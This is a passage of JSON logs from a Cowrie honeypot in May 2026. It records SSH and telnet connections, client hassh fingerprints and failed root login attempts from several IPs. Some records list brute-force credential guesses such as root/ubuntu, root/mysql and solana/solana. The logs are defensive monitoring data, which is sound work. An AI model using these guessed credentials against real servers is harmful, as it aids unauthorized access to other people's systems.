lman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:49.753587Z","src_ip":"223.17.5.126","session":"70310b8bd964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux@2024","message":"login attempt [root/Linux@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:50.652721Z","src_ip":"223.17.5.126","session":"70310b8bd964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:51.872265Z","src_ip":"223.17.5.126","session":"70310b8bd964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":38962,"dst_ip":"10.17.0.5","dst_port":22,"session":"b829011da569","protocol":"ssh","message":"New connection: 80.94.92.168:38962 (10.17.0.5:22) [session: b829011da569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:55.275117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:55.280136Z","src_ip":"80.94.92.168","session":"b829011da569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:55.405910Z","src_ip":"80.94.92.168","session":"b829011da569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:55.775379Z","src_ip":"80.94.92.168","session":"b829011da569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:56.941785Z","src_ip":"80.94.92.168","session":"b829011da569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"352f70010afc","protocol":"telnet","message":"New connection: 104.245.105.2:54944 (10.17.0.5:23) [session: 352f70010afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:03:04.846730Z"}
{"eventid":"cowrie.session.closed","duration":41.87418174743652,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:03:46.720806Z","src_ip":"104.245.105.2","session":"352f70010afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":32816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d205cf61b90","protocol":"telnet","message":"New connection: 104.245.105.2:32816 (10.17.0.5:23) [session: 3d205cf61b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:03:47.802823Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"c199b4e860f8","protocol":"telnet","message":"New connection: 104.245.105.2:60528 (10.17.0.5:23) [session: c199b4e860f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:12.174323Z"}
{"eventid":"cowrie.session.closed","duration":31.12374210357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:18.926476Z","src_ip":"104.245.105.2","session":"3d205cf61b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":55290,"dst_ip":"10.17.0.5","dst_port":22,"session":"276d322ba902","protocol":"ssh","message":"New connection: 182.43.22.64:55290 (10.17.0.5:22) [session: 276d322ba902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:42.697259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:42.704243Z","src_ip":"182.43.22.64","session":"276d322ba902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:43.677866Z","src_ip":"182.43.22.64","session":"276d322ba902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.605379343032837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:43.779590Z","src_ip":"104.245.105.2","session":"c199b4e860f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:45.182357Z","src_ip":"182.43.22.64","session":"276d322ba902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:46.443345Z","src_ip":"182.43.22.64","session":"276d322ba902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":38730,"dst_ip":"10.17.0.5","dst_port":22,"session":"37ccb322b63d","protocol":"ssh","message":"New connection: 182.43.22.64:38730 (10.17.0.5:22) [session: 37ccb322b63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:46.707753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:46.712416Z","src_ip":"182.43.22.64","session":"37ccb322b63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:46.974230Z","src_ip":"182.43.22.64","session":"37ccb322b63d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:47.921113Z","src_ip":"182.43.22.64","session":"37ccb322b63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:49.188049Z","src_ip":"182.43.22.64","session":"37ccb322b63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":38746,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a712538678f","protocol":"ssh","message":"New connection: 182.43.22.64:38746 (10.17.0.5:22) [session: 8a712538678f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:49.429135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:49.433470Z","src_ip":"182.43.22.64","session":"8a712538678f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:49.691668Z","src_ip":"182.43.22.64","session":"8a712538678f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:50.457429Z","src_ip":"182.43.22.64","session":"8a712538678f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:51.718654Z","src_ip":"182.43.22.64","session":"8a712538678f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":38762,"dst_ip":"10.17.0.5","dst_port":22,"session":"457cc06f61fe","protocol":"ssh","message":"New connection: 182.43.22.64:38762 (10.17.0.5:22) [session: 457cc06f61fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:52.009678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:52.014576Z","src_ip":"182.43.22.64","session":"457cc06f61fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:53.040517Z","src_ip":"182.43.22.64","session":"457cc06f61fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:53.871941Z","src_ip":"182.43.22.64","session":"457cc06f61fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:55.149440Z","src_ip":"182.43.22.64","session":"457cc06f61fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":38776,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc2836df0e4","protocol":"ssh","message":"New connection: 182.43.22.64:38776 (10.17.0.5:22) [session: afc2836df0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:55.382187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:55.386662Z","src_ip":"182.43.22.64","session":"afc2836df0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:55.643886Z","src_ip":"182.43.22.64","session":"afc2836df0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba9a3783f29","protocol":"telnet","message":"New connection: 104.245.105.2:59954 (10.17.0.5:23) [session: aba9a3783f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:55.890472Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:56.416356Z","src_ip":"182.43.22.64","session":"afc2836df0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:57.677494Z","src_ip":"182.43.22.64","session":"afc2836df0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":50750,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb8cd25794d5","protocol":"ssh","message":"New connection: 182.43.22.64:50750 (10.17.0.5:22) [session: bb8cd25794d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:57.926991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:59.656406Z","src_ip":"182.43.22.64","session":"bb8cd25794d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:04:59.659949Z","src_ip":"182.43.22.64","session":"bb8cd25794d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:00.677783Z","src_ip":"182.43.22.64","session":"bb8cd25794d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:01.937106Z","src_ip":"182.43.22.64","session":"bb8cd25794d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.43.22.64","src_port":50754,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd7384564e3","protocol":"ssh","message":"New connection: 182.43.22.64:50754 (10.17.0.5:22) [session: 6dd7384564e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:02.174612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:02.181590Z","src_ip":"182.43.22.64","session":"6dd7384564e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:02.434926Z","src_ip":"182.43.22.64","session":"6dd7384564e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:03.221558Z","src_ip":"182.43.22.64","session":"6dd7384564e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:05:04.472515Z","src_ip":"182.43.22.64","session":"6dd7384564e3","protocol":"ssh"}
